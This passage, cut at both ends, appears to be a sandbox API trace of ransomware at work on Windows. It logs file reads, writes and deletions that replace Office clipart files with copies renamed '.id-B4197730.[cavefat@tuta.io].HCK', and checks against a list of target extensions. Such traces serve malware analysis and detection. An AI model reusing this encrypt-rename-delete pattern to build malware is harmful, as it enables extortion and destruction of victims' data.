(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.621] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.621] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.627] GetLastError () returned 0x0 [0170.627] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2a18, lpOverlapped=0x0) returned 1 [0170.630] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2a20, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2a20, lpOverlapped=0x0) returned 1 [0170.631] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.631] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.631] SetEndOfFile (hFile=0x2ec) returned 1 [0170.633] CloseHandle (hObject=0x2ec) returned 1 [0170.634] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.634] SetEndOfFile (hFile=0x30c) returned 1 [0170.637] CloseHandle (hObject=0x30c) returned 1 [0170.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199473.wmf")) returned 1 [0170.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0170.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0170.644] lstrlenW (lpString=".doc") returned 4 [0170.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.644] lstrlenW (lpString=".docx") returned 5 [0170.644] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.644] lstrlenW (lpString=".pdf") returned 4 [0170.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.644] lstrlenW (lpString=".xls") returned 4 [0170.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.644] lstrlenW (lpString=".xlsx") returned 5 [0170.644] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.644] lstrlenW (lpString=".ppt") returned 4 [0170.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0170.644] lstrlenW (lpString=".zip") returned 4 [0170.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.644] lstrlenW (lpString=".rar") returned 4 [0170.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.644] lstrlenW (lpString=".bz2") returned 4 [0170.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.644] lstrlenW (lpString=".7z") returned 3 [0170.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0170.644] lstrlenW (lpString=".dbf") returned 4 [0170.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0170.644] lstrlenW (lpString=".1cd") returned 4 [0170.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0170.644] lstrlenW (lpString=".jpg") returned 4 [0170.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0170.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0170.645] lstrlenW (lpString=".doc") returned 4 [0170.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.645] lstrlenW (lpString=".docx") returned 5 [0170.645] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.645] lstrlenW (lpString=".pdf") returned 4 [0170.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.645] lstrlenW (lpString=".xls") returned 4 [0170.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.645] lstrlenW (lpString=".xlsx") returned 5 [0170.645] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.645] lstrlenW (lpString=".ppt") returned 4 [0170.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0170.645] lstrlenW (lpString=".zip") returned 4 [0170.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.645] lstrlenW (lpString=".rar") returned 4 [0170.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.645] lstrlenW (lpString=".bz2") returned 4 [0170.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.645] lstrlenW (lpString=".7z") returned 3 [0170.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0170.645] lstrlenW (lpString=".dbf") returned 4 [0170.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0170.645] lstrlenW (lpString=".1cd") returned 4 [0170.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199473.WMF") returned 68 [0170.645] lstrlenW (lpString=".jpg") returned 4 [0170.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.645] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.645] lstrlenW (lpString="J0200151.WMF") returned 12 [0170.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.649] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=8196) returned 1 [0170.649] CloseHandle (hObject=0x380) returned 1 [0170.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf")) returned 0x220 [0170.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.655] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.655] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.665] GetLastError () returned 0x0 [0170.665] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2004, lpOverlapped=0x0) returned 1 [0170.667] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2010, lpOverlapped=0x0) returned 1 [0170.668] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.668] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.668] SetEndOfFile (hFile=0x380) returned 1 [0170.670] CloseHandle (hObject=0x380) returned 1 [0170.672] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.672] SetEndOfFile (hFile=0x2ec) returned 1 [0170.679] CloseHandle (hObject=0x2ec) returned 1 [0170.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200151.wmf")) returned 1 [0170.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0170.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0170.682] lstrlenW (lpString=".doc") returned 4 [0170.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.682] lstrlenW (lpString=".docx") returned 5 [0170.682] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.682] lstrlenW (lpString=".pdf") returned 4 [0170.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.682] lstrlenW (lpString=".xls") returned 4 [0170.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.682] lstrlenW (lpString=".xlsx") returned 5 [0170.682] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.682] lstrlenW (lpString=".ppt") returned 4 [0170.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0170.682] lstrlenW (lpString=".zip") returned 4 [0170.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.683] lstrlenW (lpString=".rar") returned 4 [0170.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.683] lstrlenW (lpString=".bz2") returned 4 [0170.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.683] lstrlenW (lpString=".7z") returned 3 [0170.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0170.683] lstrlenW (lpString=".dbf") returned 4 [0170.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0170.683] lstrlenW (lpString=".1cd") returned 4 [0170.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0170.683] lstrlenW (lpString=".jpg") returned 4 [0170.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0170.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0170.683] lstrlenW (lpString=".doc") returned 4 [0170.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.683] lstrlenW (lpString=".docx") returned 5 [0170.683] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.683] lstrlenW (lpString=".pdf") returned 4 [0170.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.683] lstrlenW (lpString=".xls") returned 4 [0170.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.683] lstrlenW (lpString=".xlsx") returned 5 [0170.683] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.683] lstrlenW (lpString=".ppt") returned 4 [0170.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0170.683] lstrlenW (lpString=".zip") returned 4 [0170.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.683] lstrlenW (lpString=".rar") returned 4 [0170.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.683] lstrlenW (lpString=".bz2") returned 4 [0170.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.683] lstrlenW (lpString=".7z") returned 3 [0170.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0170.683] lstrlenW (lpString=".dbf") returned 4 [0170.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0170.684] lstrlenW (lpString=".1cd") returned 4 [0170.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200151.WMF") returned 68 [0170.684] lstrlenW (lpString=".jpg") returned 4 [0170.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.684] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.684] lstrlenW (lpString="J0200273.WMF") returned 12 [0170.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.687] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=31302) returned 1 [0170.687] CloseHandle (hObject=0x308) returned 1 [0170.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf")) returned 0x220 [0170.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.700] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.700] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.705] GetLastError () returned 0x0 [0170.705] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x7a46, lpOverlapped=0x0) returned 1 [0170.707] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7a50, lpOverlapped=0x0) returned 1 [0170.708] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.708] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.708] SetEndOfFile (hFile=0x39c) returned 1 [0170.713] CloseHandle (hObject=0x39c) returned 1 [0170.714] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.714] SetEndOfFile (hFile=0x2ec) returned 1 [0170.719] CloseHandle (hObject=0x2ec) returned 1 [0170.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200273.wmf")) returned 1 [0170.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0170.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0170.722] lstrlenW (lpString=".doc") returned 4 [0170.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.722] lstrlenW (lpString=".docx") returned 5 [0170.722] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.722] lstrlenW (lpString=".pdf") returned 4 [0170.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.722] lstrlenW (lpString=".xls") returned 4 [0170.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.722] lstrlenW (lpString=".xlsx") returned 5 [0170.722] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.722] lstrlenW (lpString=".ppt") returned 4 [0170.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0170.722] lstrlenW (lpString=".zip") returned 4 [0170.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.722] lstrlenW (lpString=".rar") returned 4 [0170.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.722] lstrlenW (lpString=".bz2") returned 4 [0170.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.722] lstrlenW (lpString=".7z") returned 3 [0170.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0170.722] lstrlenW (lpString=".dbf") returned 4 [0170.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0170.722] lstrlenW (lpString=".1cd") returned 4 [0170.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0170.722] lstrlenW (lpString=".jpg") returned 4 [0170.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0170.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0170.722] lstrlenW (lpString=".doc") returned 4 [0170.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.722] lstrlenW (lpString=".docx") returned 5 [0170.722] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.722] lstrlenW (lpString=".pdf") returned 4 [0170.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.723] lstrlenW (lpString=".xls") returned 4 [0170.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.723] lstrlenW (lpString=".xlsx") returned 5 [0170.723] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.723] lstrlenW (lpString=".ppt") returned 4 [0170.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0170.723] lstrlenW (lpString=".zip") returned 4 [0170.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.723] lstrlenW (lpString=".rar") returned 4 [0170.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.723] lstrlenW (lpString=".bz2") returned 4 [0170.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.723] lstrlenW (lpString=".7z") returned 3 [0170.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0170.723] lstrlenW (lpString=".dbf") returned 4 [0170.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0170.723] lstrlenW (lpString=".1cd") returned 4 [0170.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200273.WMF") returned 68 [0170.723] lstrlenW (lpString=".jpg") returned 4 [0170.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.723] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.723] lstrlenW (lpString="J0200383.WMF") returned 12 [0170.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.724] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=21400) returned 1 [0170.724] CloseHandle (hObject=0x30c) returned 1 [0170.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf")) returned 0x220 [0170.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.735] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, 